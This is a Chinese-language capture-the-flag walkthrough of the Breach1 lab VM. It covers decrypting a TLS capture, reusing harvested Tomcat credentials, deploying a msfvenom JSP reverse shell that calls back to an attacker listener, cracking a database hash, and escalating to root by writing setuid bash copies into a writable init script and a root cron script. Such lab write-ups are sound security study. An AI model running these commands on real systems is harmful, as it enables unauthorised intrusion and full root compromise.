Breach1
渗透
-
在virtualbox中导入虚拟机后,使用nmap扫描却发现没有扫描到服务器。仔细看了Breach网站的介绍后发现,它是静态的IP,而我通常配置了桥接网卡,因此kali和它不是处于同一网段。修改virtualbox配置:
禁用掉之前的桥接网卡,换成新添加的nat网卡后重启,这次扫描到了。
-
访问80端口,有个长得像G胖的大叔图片和一堆文字,页面没有其他按钮。使用
dirb
扫描网站,只有images,里边只有一些图片。打开G胖页面的源码,发现了一个页面和一串加密数据。 -
对这串字符尝试使用base64解码后,发现它是两次base64编码,实际内容像是账号密码
-
打开发现的地址,依次点击按钮后发现employee portal会跳转到一个登录界面,使用上一步发现的账号密码登入。
-
进入后发现该网站使用了impresscms的框架,尝试搜索相关的漏洞,发现可能存在XSS和SQL注入等(未深入挖掘)。
-
大概浏览了网站之后发现了如下信息:
pcap是wireshark抓包导出的文件;keystore经过搜索之后知道它是用来管理密钥和证书(https://en.wikipedia.org/wiki/Java_KeyStore),keytool可以管理keystore(https://www.digitalocean.com/community/tutorials/java-keytool-essentials-working-with-java-keystores)。
-
wireshark解密HTTPS是需要PKCS#12类型的文件(本人对TLS协议了解不深入),因此我们要使用keytool转换出PKCS#12文件:
keytool -importkeystore -srckeystore keystore -destkeystore keystore.p12 -deststoretype PKCS12 -srcalias tomcat -deststorepass tomcat -destkeypass tomcat
-
解密后在当前目录下生成了keystore.p12,将该文件在wireshark中配置:edit->preferences->Protocols->TLS,在点击RSA key list后按钮,增加如下配置:
注意,协议处的http要小写。
-
配置完后点击ok,可以看到TLS加密的数据已经可读。选择其中一个HTTP的流量,右键选择follow->http stream后可以看到完整的一个调用过程。
-
根据包内信息,发现了/_M@nag3Me/html接口。在第一次访问的时候返回了401,因此应该是需要登陆的;第二次访问后返回了200,推断输入了正确的账号密码。因此将第二次请求中的cookie拿出来,尝试Base64解码后得到账号密码。
-
打开网站,输入账号密码后来到tomcat的管理页面中。继续分析wireshark的包,它后边访问的接口是/cmd/cmd.jsp,但是tomcat后台看不到这个项目,因此推断是自己通过管理端部署上去的war包。使用msfvenom生成war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=9999 -f war -o revshell.war
。将生成的war包部署到tomcat上后,使用nv监听9999端口并访问该项目,从而得到webshell。 -
使用python升级shell:
python -c "import pty;pty.spawn('/bin/bash')"
-
搜查一波文件,获得如下信息:
- 系统中存在两个账号,分别是:milton和blumbergh
- /var/www/5446中拿到数据库信息
-
连接数据库:
mysql -uroot -p
,连接上后查看mysql库内的user表,拿到milton的hash后的密码。将该密码撞出后的到milton信息:milton/ thelaststraw -
切换到milton后先进行一波文件翻找,没找到太多有用的信息;然后
sudo -l
查看sudo的信息,但是该账号没有任何的sudo权限;再使用id
命令查看账号信息,发现它在一个叫adm的组内,查看该组能访问的相关信息:find / -group adm 2>/dev/null
(2>/dev/null用来过滤掉没有权限的结果)。 -
该账号可以查看syslog,打开该文件发现会有定时任务来定时执行一个脚本文件,并且是root级别的。但是这个文件并不能修改,所以没什么乱用。
-
使用扫描工具linpeas.sh扫描系统后,发现/etc/init.d/portly.sh文件是可以修改的。在国外某博主的writeup里了解到这个文件在开机时会自动执行(不太清楚为什么,可能是ubuntu或者发行版的原因吧,暂作记录)。修改该文件,将/bin/bash复制出来,并修改其权限:
cp /bin/bash /tmp/rootbash;chmod 4777 /tmp/rootbash;
-
重启后执行
/tmp/rootbash -p
即可
提权方法二
经过翻看其他人的writeup之后发现了另外一种提权的方式,同样尝试后做如下记录
-
进入dirb命令扫出的images目录中,下载所有的图片,并使用
exiftool
命令来查看图片中是否有隐藏的内容:exiftool xxx.png
。发现bill.png中藏了字符串:coffeestains。可能会是密码等 -
反弹shell后,进入home目录发现有两个用户,milton的密码在mysql中。而blumbergh密码不知道,尝试在使用图片中的字符串,发现确实是密码
-
查看
sudo -l
,发现了tee命令和一个shell脚本。根据之前的发现可知,这个shell脚本会以root身份定时执行,因此修改该脚本内容:echo 'cp /bin/bash /tmp/rootbash2 && chmod 4777 /tmp/rootbash2' | sudo tee /usr/share/cleanup/tidyup.sh
-
等待几分钟后可以看到rootbash2已经生成,执行
/tmp/rootbash2 -p
即可拿到root的shell
总结
- wireshark抓取https的数据包,内容是被TLS加密的,如果拿到了PKCS#12的文件,可以在TLS中配置解密
- keytool可以管理密钥和证书,
keytool -importstore
可以以指定的格式导出证书(比如PKCS#12),keytool生成的文件叫keystore - /var/www下如果除了html还有其他文件,需要多留意一下
id
命令可以看到当前用户的信息,find / -group xxx 2>/dev/null
可以搜索并筛选当前用户组所有权限的文件- tee命令:将标准输入流的内容复制到指定的文件或输出流中。
- msfvenom命令:根据指定的信息生成EXP
- linpeas.sh和winpeas.sh可以扫描系统,方便提权,但是最好后边自己写一个脚本
- exiftool:查看或修改文件相关信息,比如修改时间等